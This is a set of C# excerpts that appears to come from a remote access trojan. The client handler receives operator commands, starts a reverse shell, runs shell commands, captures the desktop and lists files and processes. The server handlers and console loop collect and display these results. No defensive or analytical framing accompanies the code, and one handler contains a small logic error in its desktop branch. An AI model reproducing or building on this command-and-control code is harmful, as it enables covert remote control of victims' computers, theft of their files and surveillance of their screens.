protected override void OnPacketReceived(Packet packet) { switch (packet.PacketType) { case PacketType.Information: Application.OnSystemInformationRequested(); break; case PacketType.Process: Application.OnProcessListRequested(); break; case PacketType.FileSystem: { PacketFileSystem packetFs = ((PacketFileSystem)packet); string path = packetFs.BasePath; if (packetFs.FsFocus == PacketFileSystem.FileSystemFocus.Roots || path == null || path.Trim().Equals("") || path.Trim().Equals("/")) { Application.OnRootsRequested(); } else { Application.OnListDirRequested(packetFs.BasePath); } break; } case PacketType.Shell: { PacketShell packetShell = ((PacketShell)packet); if (packetShell.Command == null) { if (!Application.IsReverseShellSessionActive) { Application.StartReverseShellSession(); } } else { Application.ExecuteShell(packetShell.Command); } break; } case PacketType.Desktop: { Application.OnDesktopRequest(((PacketDesktop)packet).DesktopAction); break; } default: Trace.WriteLine("PacketType not Handled"); break; } }
public void OnPacketReceived(Client client, Packet packet) { Trace.WriteLine("Server::OnPacketReceived()"); switch (packet.PacketType) { case PacketType.Presentation: Application.OnPresentationData(client); break; case PacketType.Information: { PacketSystemInformation packetInfo = (PacketSystemInformation)packet; Application.OnClientSystemInformation(client, packetInfo.SystemInfo); break; } case PacketType.FileSystem: { PacketFileSystem packetFs = (PacketFileSystem)packet; if (packetFs.FsFocus == PacketFileSystem.FileSystemFocus.Roots) { Application.OnFileSystemRoots(client, packetFs.Drives); } else { Application.OnFileSystemDirEntries(client, packetFs.BasePath, packetFs.Files); } break; } case PacketType.Process: { Application.OnProcessListReceived(client, ((PacketProcess)packet).Processes); break; } case PacketType.Shell: { Application.OnShellResultReceived(client, ((PacketShell)packet).ShellAction, ((PacketShell)packet).Data); break; } case PacketType.Desktop: { Application.OnDesktopImage(client, ((PacketDesktop)packet).DesktopAction, ((PacketDesktop)packet).ImageData); break; } default: Trace.WriteLine("Unhandled packet type"); break; } }
public void OnPacketReceived(Client client, Packet packet) { Trace.WriteLine("Server::OnPacketReceived()"); switch (packet.PacketType) { case PacketType.Presentation: AppNetChannel.SubmitToApp(new ClientAppEvent(client) { Subject = Subject.Connection, Action = Action.Started }); break; case PacketType.Information: { PacketSystemInformation packetInfo = (PacketSystemInformation)packet; AppNetChannel.SubmitToApp(new ClientAppEvent(client) { Subject = Subject.Information, Action = Action.Fetched, Data = packetInfo.SystemInfo }); break; } case PacketType.FileSystem: { PacketFileSystem packetFs = (PacketFileSystem)packet; AppNetChannel.SubmitToApp(new ClientAppEvent(client) { Subject = Subject.FileSystem, Action = Action.Fetched, Data = packetFs }); break; } case PacketType.Process: { AppNetChannel.SubmitToApp(new ClientAppEvent(client) { Subject = Subject.Process, Action = Action.Fetched, Data = ((PacketProcess)packet).Processes }); break; } case PacketType.Shell: { Dictionary <string, string> data = new Dictionary <string, string>(); data["command"] = ((PacketShell)packet).Command; data["output"] = ((PacketShell)packet).Output; if (((PacketShell)packet).Action == ServiceAction.Stop) { AppNetChannel.SubmitToApp(new ClientAppEvent(client) { Subject = Subject.Shell, Action = Action.Stop }); } else { AppNetChannel.SubmitToApp(new ClientAppEvent(client) { Subject = Subject.Shell, Action = Action.Fetched, Data = data }); } break; } case PacketType.Desktop: { ClientAppEvent clientEvent = new ClientAppEvent(client) { Subject = Subject.Desktop }; if (((PacketDesktop)packet).DesktopAction == DesktopAction.Push) { clientEvent.Action = Action.Fetched; clientEvent.Data = ((PacketDesktop)packet).ImageData; } else if (clientEvent.Action == Action.Fetched) { clientEvent.Action = Action.Stop; } AppNetChannel.SubmitToApp(clientEvent); break; } default: Trace.WriteLine("Unhandled packet type"); break; } }
private void ListenAppEvents() { while (Running) { AppEvent appEvent = AppUiChannel.TakeFromApp(); Target target = appEvent.Target; Action action = appEvent.Action; Subject subject = appEvent.Subject; object data = appEvent.Data; switch (target) { case Target.Server: { switch (subject) { case Subject.Connection: { if (action == Action.ListAvailable) { List <Client> clients = (List <Client>)appEvent.Data; MainView.ListSessions(clients); } break; } } break; } case Target.Client: { ClientAppEvent clientApp = (ClientAppEvent)appEvent; Client client = clientApp.Client; switch (subject) { case Subject.Connection: { if (action == Action.Started) { ShowClientConnection(client); } break; } case Subject.Process: { if (action == Action.Fetched) { ShowProcessList(client, (List <ProcessInfo>)data); } break; } case Subject.FileSystem: { if (action == Action.Fetched) { PacketFileSystem packet = (PacketFileSystem)data; if (packet.FsFocus == PacketFileSystem.FileSystemFocus.Roots) { ShowFsRoots(client, packet.Drives); } else if (packet.FsFocus == PacketFileSystem.FileSystemFocus.DirectoryEntries) { ShowFsDirEntries(client, packet.BasePath, packet.Files); } } break; } case Subject.Shell: { if (action == Action.Fetched) { Dictionary <string, string> shellData = (Dictionary <String, String>)data; ShellView.PrintOutput(shellData["command"], shellData["output"]); } else if (action == Action.Stop) { if (CurrentView == ShellView) { CurrentView = MainView; CurrentView.PrintBanner(); } } break; } case Subject.Desktop: { if (action == Action.Fetched) { string path = (string)data; if (!IsDesktopActive && Client == client) { IsDesktopActive = true; C.WriteLine("[+] Desktop image received, Images will be saved in {0}", path); } } else if (action == Action.Stop) { lock (IsDesktopActiveLock) { if (IsDesktopActive && Client == client) { C.WriteLine("Desktop session closed"); IsDesktopActive = false; } } } break; } } break; } } } }